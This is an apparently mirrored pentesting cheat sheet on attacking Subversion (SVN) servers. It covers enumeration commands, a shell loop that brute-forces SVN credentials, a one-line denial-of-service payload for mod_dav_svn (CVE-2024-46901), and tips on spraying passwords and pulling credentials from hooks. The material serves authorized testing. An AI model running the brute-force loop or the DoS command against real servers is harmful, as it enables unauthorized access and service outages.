repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
3690-pentesting-subversion-svn-server.mdMarkdown104 lines5.6 KiBsource raw download

title: "3690/tcp - Pentesting Subversion (SVN) Server" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/3690-pentesting-subversion-svn-server.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/3690-pentesting-subversion-svn-server.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

3690/tcp - Pentesting Subversion (SVN) Server#

Basic Information#

Subversion (SVN) is a centralized version control system (Apache license) used for software versioning and revision control.

Default port: 3690/tcp (svnserve). It can also be exposed via HTTP/HTTPS through mod_dav_svn and via svn+ssh.

PORT     STATE SERVICE
3690/tcp open  svnserve Subversion
nc -vn 10.10.10.10 3690
svnserve --version           # if shell access is obtained
svn --version                # client version leak via error messages

Enumeration#

# Anonymous / authenticated listing
svn ls svn://10.10.10.203                  # list root
svn ls -R svn://10.10.10.203/repo         # recursive list
svn info svn://10.10.10.203/repo          # repo metadata
svn log svn://10.10.10.203/repo           # commit history
svn checkout svn://10.10.10.203/repo      # checkout repository
svn up -r 2                               # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo   # view changes

# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''

# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo

Auth & Misconfig Hunting#

Bruteforcing credentials (svnserve)#

SASL or password-file authentication does not imply an account-lockout policy. Confirm authorization and throttling in the specific deployment before password testing, and use a small approved candidate set.[3]

for u in admin dev ci; do
  for p in $(cat /tmp/passlist); do
    svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
  done
done

Recent Vulnerabilities (practical impact)#

mod_dav_svn DoS via control characters (CVE-2024-46901)#

# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'

Windows argument injection in svn client (CVE-2024-45720)#

Notes for Exploitation Workflow#

  1. Check access method: svn:// (svnserve), http(s)://.../svn/ (mod_dav_svn), or svn+ssh://.
  2. Try anonymous read first; then spray common creds. If HTTP Basic is used, reuse creds found elsewhere.
  3. Enumerate hooks: hooks/pre-commit, post-commit scripts sometimes contain plaintext credentials or hostnames.
  4. Leverage svn:externals to pull additional paths from other hosts; list them with svn propget svn:externals -R . after checkout.
  5. Version leaks: HTTP response headers from mod_dav_svn may expose the Subversion and Apache versions; compare confirmed versions with the applicable advisories rather than treating a banner as proof.[1][2]
  6. If you obtain filesystem access to the repo, svnadmin dump/svnlook author/svnlook dirs-changed allow offline analysis without credentials.

References#